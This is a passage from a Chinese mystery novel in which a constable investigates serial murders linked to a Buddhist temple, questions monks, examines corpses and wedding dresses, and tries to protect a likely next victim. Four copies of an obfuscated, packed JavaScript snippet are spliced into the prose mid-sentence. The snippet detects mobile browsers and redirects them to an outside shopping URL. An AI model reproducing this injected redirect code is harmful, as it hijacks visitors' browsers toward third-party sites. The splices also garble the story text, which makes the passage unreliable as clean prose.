那里有位僧人正整理经架。动作缓慢,一本本抽出,用软布拂尘,再码放回去。约莫五十来岁,面容清癯,僧袍袖口沾着些深色墨迹。 老法师的讲经持续了近一个时辰。结束时,日头已近中天。香客们纷纷起身,有些围上前去请教,有些低声交谈着散去。 穆青青随着人流退出殿外,继续往前走。 空气中隐约飘来斋堂的烟火气。路过药师殿时,殿门虚掩着,里面传来持续而规律的“咚、咚、咚”声,沉闷而有节奏,是药杵撞击碾槽的声响。她脚步放慢,透过门扇的缝隙向内望去。 可惜,只能看见一个挺直的背影在药碾前劳作,那个背影始终没有回头。 穆青青看了片刻,悄然走开。 斋堂里人声稍沸,到处弥漫着蒸腾的饭菜热气。她领了一份简单的斋饭:一碟清炒青菜,几块卤豆腐,半碗白米饭,一碗飘着几片菜叶的清汤,在靠近门边的角落寻了张空桌坐下。 同桌已有两位六七十岁的老妇人,一边慢吞吞地吃着,一边压低了嗓子絮叨。 “……这世道,真是让人心里头七上八下的,夜里都睡不踏实。” “谁说不是呢。也就来这慈恩寺,闻着香火,听听诵经,这颗心才能略略放下些。” “是啊,寺里的师父们都是好的。上回我老婆子腿脚不利索,在台阶上绊了一下,要不是净尘师父正好路过扶住,怕是要摔得不轻。他还特意送我到客堂歇脚,倒了盏热茶呢。” “净尘师父是心善。普法师父也不错,问什么都耐心答,从不嫌烦。” “要我说,还是法净师父的本事实在。我家那口子前阵子心慌睡不着,求了法净师父配的药丸子回去,吃了两日,就说安稳多了,可见是真灵验……” 穆青青安静地吃完,将碗筷送回。 出了斋堂,午后的阳光暖烘烘地照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079952|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,让人有些懒意。她在寺中漫无目的地走着,不知不觉又绕到了后院。那里有棵大榕树,投下一大片树荫,树荫下的石凳空着,她走过去坐下,微微仰头,闭上眼,仿佛在假寐歇息。 树梢上,两只麻雀正蹦跳着,叽叽喳喳,声音琐碎。 【雀儿甲:啾!今天这里的两脚兽还是那么多!吵得鸟头疼!】 【雀儿乙:等晚上就清净啦!那个老光头又来撒好吃的!就是话多,嗡嗡嗡的,吵得睡不着!】 【雀儿甲:晚上不光他吵,那些傻乎乎的扑棱蛾子更烦!扑腾得到处是粉,呛死了!】 【雀儿乙:可不是!就藏经阁那破窗户缝里最多!老往外钻,烦得很!】 藏经阁……飞蛾…… 穆青青眼睫微动,睁开了眼。 申时的钟声正在这时响起,回荡在寺院上空。 晚课将至,香客们开始陆陆续续往外走。穆青青站起身,不再停留,随着人流出了山门。 卖香烛的哑巴老妪已经开始收摊,将未卖完的香束一扎扎放进背篓,动作迟缓。那只总是停在她肩头的灰鸽子,此刻跳到摊子上,歪着小脑袋,黑豆似的眼睛一眨不眨地盯着穆青青看。 穆青青脚步未停,挎着她的竹篮,身影汇入暮色渐起的街巷。 回到驿馆时,天色已暗透,窗纸后透出昏黄的灯火。推开房门,余肖红与林霜已在里头,其他人则不见踪影。 桌上摊着几张写满字的纸页。 “我先说吧。”余肖红见她进来,也不寒暄,直接将一张单子推过来,“我借查药材之名,调了寺里近一月的领用记档。夜昙花的采摘最近一次是四日前,正是最后一起案子发生的前一日清晨。报备人是普法,事由是‘补配安神散’。” 她又取出一小撮用油纸包着的深灰色布丝:“不过,也可能有人私自采摘了夜昙花而没有登记,这是我在花丛旁发现的一缕布条。” 布条的颜色和慈恩寺的僧袍同色。 林霜接着道:“我查了寺门出入记档。案发当夜寺门戌时三刻落锁,次日卯时才开,记档上无人外出。”她话锋一转,“但藏经阁后墙有一段墙头有新鲜摩擦痕,像是绳索反复拖拽所致。墙外小巷直通后山。” 轮到穆青青了。她先倒了三杯茶,才缓缓开口: “我今日在寺中以香客的身份走了一圈,有五位僧人颇引人在意。” 她声音不高,缓缓叙述: “知客僧净尘,三十五六年岁,身形高大,在殿前引导香客,他对独身前来的女客格外耐心细致,态度温和有礼,很得那些女客们的信赖。” “后来在寺庙后院的古井边,我遇到一个瘦削老僧,自称慧明,他对古井似乎很在意,出言提醒我不要靠近古井。” “后来去观音殿听经的时候,我又遇见一位五十多岁、负责整理经架的师父,面容清瘦,僧袍袖口有墨渍,手指有长期持笔或握刀的薄茧。听殿外洒扫的小沙弥唤他‘慧觉师父’。” “最后再斋堂用饭时,我听见邻座香客闲谈,提到寺里的普法师父常去后山巡看,尽职尽责;又说法净师父医术好,配制的药丸很是灵验。” “此外,”她搁下茶杯,“我还发觉藏经阁附近飞蛾数量远多于寺内他处,窗台墙角可见蛾子停栖及残翅。还有那口古井,井台石缝被人用工具仔细刮净了青苔,刮痕还很新。” 她说完,室内再次陷入沉默,只有三人面前杯口袅袅升起的热气。 32. 江州连环杀人案(3) 烛火噼啪轻响,映着三张神色各异的脸。 余肖红将那缕僧袍纤维小心收好:“明日我再去深入调查一下普法和尚,查清楚他采摘夜昙花的日期和数量,以及配制药丸的具体用量。若真只是配安神散,用量不会太大。” 林霜已在图上标出藏经阁后墙的位置:“今晚起我就带人轮流去那儿蹲守,看看是不是真的有人从寺内翻墙出来。” 穆青青望着墙上的案情简图,目光在第四名死者崔月娥的名字上停留了许久。 “明日我想去义庄再看一遍崔月娥的尸身和衣物。”她抬眼,“她的尸体保存的最完整,我想去看看能不能发现点什么。” 她站起身,走到悬挂的案情简图前,指尖点在第四名死者崔月娥的名字上:“崔月娥死于七日前。若凶手真用夜昙花粉标记目标,那花粉到底是何时沾染在她身上的呢?慈恩寺后山的夜昙花丛距离寺内距离不近,寻常香客一般不会去那里。” 余肖红若有所思:“你是说,花粉可能是在寺内某处沾染的?可寺中并无夜昙花……” “若有心培育,一盆足矣。”穆青青道,“花粉轻若尘埃,随风飘散,沾在衣襟鞋袜上,再被带回住所。窗台上的粉末,或许是飞蛾追逐花粉时抖落的。” 她顿了顿:“还有那口井。青苔被刮得如此干净,近乎偏执。这不像是正常的打扫维修,倒像是一种……习惯。” “习惯?” “对,习惯性的整洁,甚至可说是洁癖。”穆青青转身,“明日我必须去一趟义庄,再看一遍崔月娥,不,看看那四名死者的验尸记录。有些细节,或许当初被忽略了。” 次日清晨,穆青青独自前往江州城西的义庄。 按律,此类尚未结案的命案,死者尸身需由官府暂管,以备复验查核,不得轻易交还亲属。江州府衙的殓房狭小,仅能临时停放,这先后四具女尸,便被移到了这座官办的义庄。 时值深秋,天气已经寒凉,义庄地处背阴,高大的槐树遮去了大半日光,院内自成一股森森寒意,正是存放尸首的好地方,平日里,附近城镇无人认领的尸体全都停放在此。 守庄的是个满面风霜、沉默寡言的老吏,验过穆青青的六扇门腰牌,并不多话,只佝偻着身子,引她穿过荒草蔓生的前院,来到正堂侧后一处独立的厢房前。 推开厚重的木门,一股混合着劣质草药与陈年灰尘的阴冷气息扑面而来,屋内光线晦暗,只在高处开有小窗,用来通风。四张门板搭成的停尸台并排陈列,上面覆着污渍斑斑的白布,勾勒出人体轮廓。 “最右边是新来的,崔氏。”老吏哑声开口,指了指,“按吩咐,每日换冰镇着。” 穆青青谢过,待老吏退至门外廊下,她才从随身布囊中取出余肖红捕快借给她的薄皮手套戴上。 油灯亮着,晕黄的光圈勉强能照亮停尸台。 穆青青定了定神,鼻尖微动,随即从随身的小包里翻出一方素净的棉布手帕,对折两次,熟练地绕过口鼻,在脑后系紧。 布料过滤了部分浊气,穆青青做好心理准备后才步履稳定地朝着最右侧那张停尸台走去。 揭开白布,崔月娥那惨白的面容一下子就露了出来,保存得勉强还算完好,五官至少清晰。 穆青青摈除杂念,先仔细查看了她的双手断口:切面平整,角度略斜,确实是利刃一刀斩断。 颈间无勒痕,四肢无挣扎所致的瘀伤,面容平静得仿佛只是沉睡。这与记录的其他三名死者的状况一致,她们都是在毫无反抗的情况下被迷晕,然后…… 穆青青的目光落在崔月娥的左手手背上。那朵三瓣红梅印记颜色已暗,但边缘清晰,染料似已渗入皮肤。她想起余肖红说过,这染料七日不褪,使用的应该是特殊配方。 凶手明显是在追求某种“仪式”的完美。 穆青青继续检查。当她轻轻翻动尸身时,在崔月娥右侧肩胛骨下方,发现了一小片极淡的瘀青,约铜钱大小,颜色青黄,正在消散。仵作记载说这应该是死前两三天形成的,只是不知是何物造成的痕迹。 穆青青终究不是专业法医,反复查看也没发现更多特殊痕迹。至于另外三具女尸,因停放日久,形色已变,胆大如她也不敢细察,转而将注意力投向那四件大红嫁衣。 嫁衣已被剪开取证,如今摊在另一张台上。穆青青一寸一寸抚过布料,指尖感受着针脚的细密。 在嫁衣左侧袖子的内衬接缝处,她的手指忽然停住了。 那里有一小处针脚,与其他地方略有不同,不是“回纹藏针”那种老练的连环针法,而是更简单直接的平针,虽然缝得仔细,但与整体技艺明显不符。 像是……后来补上的。 穆青青找来木签轻轻挑开那几针线,内衬微微掀起一角。她凑近细看,在布料夹层里,发现了一小片深灰色的纤维,半寸长短,质地粗糙。 与僧袍布料相似,但颜色更深、更旧。 她小心取出纤维,放在油纸包里。正要继续检查,冰窖外忽然传来急促的脚步声。 “穆捕头!”一名江州城的小捕快冲进来,气喘吁吁,“慈恩寺那边出事了!净尘和尚被抓了!” 穆青青手一抖,油纸包差点掉在地上。 “怎么回事?” “他、他在寺里对一位女香客用迷药,想偷东西,结果那娘子中途醒了,惊呼起来,被香客们当场抓住!”捕快急道,“寇大人已经赶过去了,让您也快去!” 穆青青迅速收好证物,盖回白布,又叮嘱了守庄老吏几句,才快步走出冰窖。 慈恩寺山门前已围了不少百姓,正交头接耳,议论纷纷。几名衙役正押着一个僧人走出来。 那僧人正是净尘。 他僧袍凌乱,额角带着一块新鲜淤青,面色灰败,嘴唇紧抿,眼神里满是慌乱与被擒后的颓丧。一名年轻妇人跟在后面哭泣,发髻松散,衣襟被扯得有些不整,正由两位同行的女眷搀扶安慰。 “怎么回事?”寇晟沉声问道。 领头的捕快上前抱拳:“回大人,今早这位孙娘子来寺中还愿,独自往后殿去时,净尘尾随而入,用沾了迷药的手帕企图迷晕她,窃取财物。幸得孙娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083870|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因体弱常年服药,对迷药稍有抗性,中途惊醒呼救,被路过香客听见,这才将其当场擒获。从他怀中搜出了这些——” 捕快递上一块素帕。帕子里包着几缕显然是刚扯下的青丝,一支成色普通的银簪,还有一小包暗红色粉末。 余肖红立刻上前接过那个小纸包,指尖捻起少许粉末细嗅,面色微变:“是‘离魂散’,一种下九流的迷药,配方粗劣,但是……它这里面有夜昙花粉!” 林霜也去检查了那支银簪:“簪子款式寻常,簪尾有磨损,但这款式,与第三位遇害的林娘子戴着的那支极为相近。” 这几个证据串在一起,净尘的嫌疑瞬间变大。 江州知府此时也匆匆赶来了,一见这场面,脸上顿时露出如释重负的神情,抚掌道:“寇大人,看来此案即将告破!净尘身为知客僧,接触女客便利,见财起意乃至见色起意,都说得通。先前那几起命案,多半也是他所为,只是愈发丧心病狂罢了!” 寇晟看向被押着的净尘,目光锐利:“净尘,你有何话说?” 净尘抬起头,脸上血色尽失,却仍强自挣扎道:“贫僧……贫僧只是一时糊涂,见那位女施主首饰值钱才起了贪念!那帕子、那药……是我买的,但我从未害过人命!那簪子、那头发都是刚才慌乱中扯下的,与我无关啊大人!” 他语气焦急,却显得苍白无力。 知府冷哼一声:“人赃并获,还敢狡辩?” “不是的……我……” “够了!”知府打断他,转向寇晟,语气急切,“寇大人,此贼已经认下今日恶行,诸多证据也都指向他涉嫌连环命案。此案拖延三月有余,民心动荡,上峰督责甚紧,如今真凶落网,理当迅速审结,上报刑部,以安民心啊!” 一旁的赵统领亦低声对寇晟道:“大人,知府所言不无道理。连环凶案影响极坏,能早日查明真凶,对上对下,皆是妥当。” 寇晟沉默片刻,看向穆青青:“穆捕头,你意下如何?” 穆青青目光从净尘惊惶的脸上,移到知府迫切的神情,再落到那几样“证据”上,心中疑虑丛生。她上前一步,拱手道:“回大人,卑职以为,现下断定净尘便是连环凶手,为时尚早。” “哦?理由呢?” “理由有二。”穆青青条理清晰地说道,“其一,行事风格迥异。前四起命案,凶手皆于子夜谨慎下手,现场布置带着诡异的仪式感,心思缜密。而净尘今日所为,却是光天化日之下在香火鼎盛的寺内动手,手法粗糙,更似临时起意的偷盗失手,与连环凶手的做派大相径庭。” 知府不悦道:“穆捕头,办案须重实证!岂能全凭臆测?” “知府大人所言极是,正因为要重实证,才更需谨慎。”穆青青不卑不亢,“其二,也是最关键的一点,净尘的作案动机不足。若净尘真是那残忍的连环凶手,他隐忍周密三月之久,为何突然在此刻,用如此拙劣的方式自曝?这不合常理。” 她看了一眼面色灰败的净尘:“依卑职看,净尘偷盗是真,但未必是杀人真凶。此中或许另有蹊跷。” 33. 江州连环杀人案(4) 然而,知府结案心切,周遭百姓议论之声渐大,皆盼着恶徒伏法。寇晟权衡片刻,知道在更多铁证出现前,难以强行推翻眼前的“人赃并获”。 “既如此,”寇晟最终沉声道,“便将净尘收押,详加审讯。今日之事与连环命案并案细查,不得仓促定论。穆捕头,你既有疑虑,便尽快找出实证。” 这便是给了穆青青继续调查的空间,却也暂时默许了净尘作为重大嫌疑人被收押。 穆青青知道这已是眼下能争取到的最好结果。她不再多言,心中却已有了方向。 知府还想再说些什么,寇晟抬手止住:“知府大人,此案既由六扇门接管,便按六扇门的规矩来。净尘暂押,继续审讯。其余调查,照常进行。” 他看向穆青青,目光深沉:“穆捕头,我给你三日时间。若三日内找不到足以翻案的实证,便只能以此结案。” “卑职领命。” 回到驿馆,穆青青闭门不出。 桌面上,所有与案件相关的卷宗、证物记录一一摊开,中间静静躺着那只小小的油纸包,里面是她今日从义庄带回的深灰色织物纤维。 离开义庄前,她已特意嘱咐了那位前来报信、瞧着还算机灵的小捕快,请他立刻折返,传话给值守的仵作:务必仔细查验另外三套作为证物的嫁衣,特别是内衬、接缝等隐蔽处,看是否同样藏匿着类似的深灰色纤维。 算算时辰,那边也该有回音了。 这时余肖红推门进来了,她端来一碗热汤面,招呼道:“青青,先来吃点东西吧。” 穆青青摇头:“余姐姐,你先帮我看看这布料……” “边吃边看。” 余肖红将面碗推近,热气混着香气蒸腾而起,上面竟还卧了个荷包蛋。穆青青这才觉出饿来,端起碗筷。 余肖红在对面坐下,取过油纸包,用银匙拨出少许布屑置于白瓷碟中,滴上清水,以细针小心拨检。 “布料很旧了,看这朽损程度,少说也是数年前的织物,若保存得当,数十年也有可能。”她蹙眉,“上面沾有墨屑和蠹虫蛀蚀的纸粉。纸、墨、旧布,范围太大了。” “会是僧袍料子吗?颜色很像。” 余肖红摇头:“难说,腐朽损坏太过严重,纹理已辨不真切。” 穆青青放下碗:“净尘那边审讯如何?” 余肖红叹了口气:“寇大人亲自问的。净尘只反复喊冤,坚称自己只为偷窃,绝未杀人。问他细节,他便开始语无伦次,一会说是一时糊涂,一会又像是吓破了胆,颠来倒去就是那几句。寇大人见他情绪激动,难以问出更多,便暂且停了。” 穆青青若有所思:“他吓成这样,除了被抓,恐怕还另有原因。” 她忽然站起身:“余姐姐,我想再去见见他。他现在这惊弓之鸟的样子,或许反而能问出些真话来。” 牢房里,净尘不复先前被擒时的慌乱喊冤,而是缩在角落,脸色苍白,眼神惊惶地四处游移,仿佛惊魂未定。 听见栅栏响动,他猛地一抖,见是穆青青,才稍微松懈些许,但依旧警惕。 “净尘师父。”穆青青语气平和,“我知道今日之事你有冤屈。,但若你不说清一些事,这杀人的罪名恐怕难以洗脱。” 净尘眼皮微颤,没有开口。 穆青青声音平静,“偷盗是真,但杀人非你所为,你不认连环命案,是因你确实不是凶手。” 净尘握紧的手微微发抖。 “可你也不替自己辩白,为什么?”穆青青注视着他,“你在保护什么?还是……在害怕什么?” 净尘嘴唇哆嗦着:“贫僧……贫僧真的只是偷东西!那帕子、那药粉,是……是我从……从……”他话到嘴边,又猛地咽了回去,眼神游移闪躲。 “从何处得来?”穆青青追问,“是不是寺中有人用这些东西,被你偶然发现,你便偷偷拿了,想着或许能换钱或自用?” 净尘猛然睁眼,瞳孔骤缩:“你……你怎么知道……” “那人是谁?”穆青青逼近一步,“可是与你交接今日‘功德’记录的那位?或是管理后殿香烛的?” 净尘猛地摇头,双手紧紧攥着僧袍下摆,指节发白:“我真不知道……我、我就是无意间捡到了这些东西,就,就想着占便宜,其他的都我真的不知道,我什么都不知道!” “你不说,便能活吗?”穆青青声音沉静,“真正的凶手逍遥法外,而你顶着他的罪,他甚至什么都不用做,你就会被处死。” 净尘闻言,脸上血色尽失,浑身剧烈地颤抖起来。 穆青青放缓语气:“你只需告诉我,你怀疑谁?或者,寺中近来有何不寻常之事?尤其是与那几位遇害女施主相关的。” 净尘挣扎良久,才从牙缝里挤出几个字:“她们……她们出事前,好像都……都曾单独在后院禅房停留过……是……是师父们为解她们心结……” “哪位师父?” “不……不一定,有时是普法师父讲些养生道理,有时是法净师父赠些安神的丸药,有时……有时是慧觉师父帮她们找些静心的经文……”净尘声音越来越低,“我、我只是偶尔撞见,具体真的不知!但……但她们从禅房出来时,神色似乎都……都轻松了些。” “还有呢?”穆青青捕捉到关键,“她们可曾带走什么?或者,身上有没有多出什么特别的气味?” 净尘努力回想,最后还是摇了摇头说:“真的没什么特别之处,像她们这样的女香客每日都有很多,我实在是记不清了。” 穆青青没得到想要的答案,但心中的线索却渐渐清晰起来。她最后问道:“依你看,近日寺中哪位女施主,似乎心事最重,常独自徘徊?” 净尘迟疑片刻,低声道:“城西榆钱巷的周娘子吧……她夫家去得突然,留下孤儿寡母,族里又逼得紧……这几日几乎天天都来,常在观音殿前一跪就是半天,眼睛总是红的。昨日……昨日似乎也被引去禅房了。” “多谢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089341|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”穆青青记下,不再多问,转身离开。 净尘透露的信息虽零碎,却指向明确:独身、心苦、频繁入寺、接触过特定僧人,尤其是进入过禅房, 周氏的情况还有待查实,如果属实,那她的确符合所有这些条件。 离开府衙,穆青青又找来一个小捕快交代了几句后,又再次前往慈恩寺。 此番她目标明确,直接以负责此案的捕头名义,约见了普法、法净和慧觉三位大师,以及慧明主持。 穆青青在客堂静候。 檀香缭绕,夕阳透过格窗,在地上投出整齐的光斑。四位僧人依次入内,僧袍拂动间带起细微的尘埃。 慧明主持,居然就是昨天在古井旁提醒穆青青的那位大师,他坐在上首,枯瘦的手搭在膝上,目光垂落,似在入定。 普法与法净分坐两侧,一个袖口沾着新鲜泥土,一个身上带着股若有似无的清苦药味。 慧觉则坐在最下首的阴影里,身形佝偻,像是特意避开了阳光。穆青青认出他就是在观音殿内整理书籍的老僧。 “劳烦几位师父。”穆青青开门见山,“净尘涉案,晚辈奉命前来详查他平日的举止,有些琐碎处需向几位求证。” 她先问普法:“听闻净尘曾向您询问安神药材?” 普法双手合十,答得平稳:“确有此事。他问柏子、合欢皮之效,贫僧据实以告。他听后未取药便离开了。”语气温和,眼神却不着痕迹地避开了直视。 “他可曾提及为谁求药?” “不曾。” 穆青青转向法净:“净尘向您求取过安神散?” 法净抬眼,目光清冷:“求过两次。一次言为香客,一次称自用。贫僧依例给予,并叮嘱了用量。其余不知。”他语速平直,将“依例”二字咬得清晰。 “药物中,可含夜昙花粉?” “有一些。”法净答得干脆,“安神散乃古方,夜昙花粉用量不大。” 最后是慧觉。他似乎花了些力气才将注意力从虚空里拉回:“净尘……偶尔来寻经书。《心经》、《金刚经》抄本……”他顿了顿,咳嗽两声,“前些日晌午,见他从藏经阁后门方向回来,神色匆匆。” “后门通向何处?” “后山。”慧觉慢吞吞道,“回来后他就朝着放生池的方向去了。” 话音落下,客堂内诡异地静了一瞬。但马上慧明禅师就叹气道:“穆施主,净尘自小由老衲带大,近来……他确是有些心绪不宁。老衲只当他胡思乱想,未曾深究。如今看来,或许早有心魔暗生。” 他言语间满是痛心与自责,令人动容。 穆青青面上适时露出凝重与思索,起身郑重行礼:“多谢几位师父坦言。晚辈听来,净尘之事,确有诸多令人不解之处,或许真有内情。今日叨扰了。” 离开客堂,穿过幽深的回廊。她能感觉到,背后有几道目光一直跟随,直至她走出山门。 夕阳正好,将她的影子拉得细长。 34. 江州连环杀人案(5) 义庄那边果然有发现。 江州府衙赶过去的仵作确认另外三件嫁衣内同样藏有深灰色织物碎片后,这条线索的分量陡然增加,但也让案情更加扑朔迷离。 议事厅内灯火通明,气氛却比往日凝重几分。寇晟端坐上首,听取各方汇报。 余肖红先将最新得到的分析结果呈上:“四名死者身上嫁衣里找到的织物碎片确认同源,也都附着陈年墨渍与蠹蛀纸粉,此人需经常接触此类旧物。” 赵统领沉声补充:“四名死者生前确实曾向身边亲人透露过她们在慈恩寺得到过禅师的劝慰,都说过‘有了希望’之类的话语。” 负责现场勘查的铁捕快,六扇门缉凶组的成员,面庞黝黑,不善言辞,但他的汇报最精简:“门窗上留下的印迹应是爪钩一类的工具,工艺精巧,非寻常匠人所为。卑职已撒网暗访,暂无头绪。” 与此同时,六扇门其他人对前三名死者生前社会关系的补充调查也有了结果。 三名女子,第一位是绣娘芸娘,父母早亡,靠微薄工钱养活弟妹,备受坊主盘剥;第二位是寡妇刘氏,丈夫横死后遭夫家族人侵吞田产,生活困顿;第三位是位家道中落的柳淑贞柳小姐,婚事屡遭挫折,心境抑郁。她们都与第四位死者崔月娥一样,是身处困境、心灵脆弱的独身女子。 “而周娘子,”林霜翻着刚收集来的资料,“本名周婉,其夫三个月前病故,留下一个七岁的儿子和几亩薄田。夫家叔伯觊觎田产,近来逼迫甚紧,甚至散布谣言说她克夫,欲将其赶出家门。她最近几乎每日都去慈恩寺上香祈福,在观音殿前一跪就是许久,符合‘心苦、独身、频繁入寺’的特征。” 缉凶司的孙副手越听,眉头皱得越紧,此时忍不住开口:“寇大人,各位同僚,不是属下泼冷水。眼下线索虽多,但几个僧人,普法常去后山摘花,法净管着药,慧觉整日与旧经书打交道,慧明大师德高望重……似乎都与此案沾点边,但又似乎都不像。咱们这么查下去,万一方向错了,或者打草惊蛇,那净尘,就只能是真凶了。” 他这话,道出了一部分人的疑虑。 另一位江州府衙调来协理的文吏立刻附和道:“孙副手所言不无道理。办案讲究证据确凿,如今我们更像是……凭感觉猜测。周娘子或许只是寻常香客,与僧人交谈也是常事。若因我们过度关注,反而引得流言蜚语,坏了慈恩寺名声,也扰得周娘子更加不安,岂非不妥?眼下,我们是否应更专注于调查净尘案的细节?他有没有可能就是真凶呢?” 穆青青能感觉到,随着时间推移和外界压力,专案组内部并非铁板一块。 有像赵统领、余肖红、林霜这样,基于线索坚定追查的;也有像孙副手这样,开始怀疑现有方向、倾向于稳妥甚至略显消极的;还有像那位文吏般,只想要快速结案的。 寇晟面色沉静,目光缓缓扫过众人,手指在案几上轻轻一点,声音不大,却带着定鼎般的力度。 “查案如抽丝,急不得,也乱不得。净尘一案疑点未消,真凶极可能还藏身在寺内。周娘子符合受害者的几乎所有特征,且处于孤立无援之境,风险最高。此非臆测,乃基于前四个受害者的合理推断。不能因困难或非议,便对潜在的危险视而不见。” 他略作停顿,目光扫过堂下众人,声音沉稳: “赵统领,你带人深挖普法、法净、慧觉、慧明四人与死者间的细微交集,案发前后行踪务必查实。” “孙副手,”他转向另一位头目,“你组重点核查四僧出身来历、过往经历,看根子上有无异常。两线并行,交叉印证。” “林霜,你加派人手,隐蔽监控周娘子居所,确保安全,记录一切可疑之处。” “铁捕头,特制爪钩线索不能断,扩大查访匠人范围。” 他最后看向精于药毒辨析的余肖红,“余捕快,那织物碎片上的墨渍、纸粉等分析需再精进一步。看看能否剥离出更独特的标记,或者推断出其原属物品更精确的年份、来源。” 寇晟手按案卷,目光锐利:“诸位,此案非同小可,四条人命,满城惶惶。六扇门办案,讲究的不是快,而是准;不是声势,而是扎实。每一个推断,都要有实据支撑;每一个嫌疑,都要经得起反复推敲。我们要面对的,是死者无法瞑目的冤魂,是律法不容亵渎的尊严,更是我们这身公服背后,百姓期盼安宁的眼睛。” 他的话语在厅堂内回荡,带着一种沉甸甸的分量。 原本有些浮动的人心,在这清晰的指令和沉肃的准则面前,暂时被压了下去。众人齐声应诺,各自领命而去。 穆青青站在一旁,将这一切看在眼里。 寇晟不仅是在分派任务,更是在统一思想,凝聚力量。她心中对这位年轻的六扇门少主不由得又高看了几分。 此案迷雾重重,前路难测,但有这样的统领和同僚在侧,她感到一种莫名的踏实。 就在此时,周婉的处境却急转直下。 第二日,没有分配到具体任务的穆青青带着陈五、张猛两名江州捕快前往榆钱巷,想尝试以缓和的方式提醒周娘子。 还未近前,便听见周家小院里传来激烈的吵骂声,间杂着孩童惊恐的哭声。 赶到时,只见以三角眼大伯为首的周家族人几乎要冲进屋内,周婉披头散发,死死护着吓得大哭的儿子,脸上有泪痕,也有绝望的狠厉。 “官爷!官爷你们评评理!”三角眼大伯一眼看到穆青青等人,抢先喊道,“这恶妇昨日竟敢去衙门击鼓,告我们欺凌寡妇幼子!分明是她想独吞家产,反咬一口!这等不贤不孝、搅乱亲族的妇人,留之何用?” 周婉猛地抬头,看到着一身官服的穆青青时,眼中闪过一丝复杂难明的情绪。 有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095938|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨日鼓响后依旧无人能真正帮她、反遭亲戚变本加厉报复的怨愤,也有对官府深深的失望与不信任。 她嘶声道:“你们来做什么?看笑话吗?还是觉得我们母子被逼得不够惨?我告诉你们,我就算死,也要拉着这些吃绝户的一起!谁也别想好过!”她状若疯虎,抄起手边的板凳就要砸。 陈五、张猛赶紧上前拦住,好言安抚,分开双方。场面混乱不堪。 穆青青心知,此刻任何关于“小心凶手”的提醒,在周婉听来都像是讽刺或别有用心。 她只能对周婉轻声道:“周娘子,衙门既然接了你的状子,自会依律查办。但你与孩子眼下的处境,自己需万分谨慎。门户紧锁,切莫独处险地。” 周婉却只是冷笑,根本听不进去。 最终,这场闹剧在随后赶来的街坊们的劝解下暂时平息。周家族人骂骂咧咧散去,扬言绝不善罢甘休。周婉紧紧搂着儿子,看着穆青青等人离开的背影,眼神空洞而决绝。 回到驿馆,穆青青心情沉重。 周婉的反应在情理之中,却让保护她的难度倍增。 情况汇报上去后,寇晟沉吟不语。 赵统领道:“周氏如今对官府极不信任,常规保护难以实施,强行安排反而可能逼她做出更不理智的事,或将凶手彻底惊走。” 孙副手叹了口气:“或许真是我们多虑了?周氏与族亲矛盾激烈,已惹来众人的关注,她也并非独自一人居住,下一个受害者未必是她。”他的怀疑论调又起。 余肖红立即反驳:“周氏身边只有一个七岁男童,与独居也无甚差别。而其他经历却与前面四位受害者极其相似,怎就不可能是她?” 林霜也道:“监视周娘子家的人回报,除了其族亲,暂未发现其他可疑人物长期窥探,但不排除凶手极其谨慎。” 寇晟抬手止住争论,目光锐利:“无论周娘子因何陷入绝境,她现在都是最符合连环凶手目标特征的人。我们不能赌那个‘万一’。既然明面上保护行不通……”他停顿片刻,似在权衡,最终道,“林霜,将外围监视再撤远一些,只留下最隐蔽的观察点,记录异常即可,非生死关头不得干预。我们需要给凶手‘创造’一个他认为安全的机会。” 众人闻言一怔。撤走大部分保护?这岂不是将周娘子置于险地? 寇晟继续道:“同时,赵统领、孙副手,你们两组的调查必须加快,我要在最短时间内,看到关于那四位僧人最详尽、甚至挖掘到他们过往隐秘的报告。余捕头,准备好可能用到的解毒或唤醒药物。铁捕头,爪钩的溯源不能停。” 他的安排,似乎隐含着一个极为冒险的计划,却没有明说。 穆青青隐约感到寇晟的意图,那或许是一个置之死地而后生的险招。 她看向寇晟,寇晟也正看着她,眼神深邃,带着嘱托,却并未言明。 35. 江州连环杀人案(6) 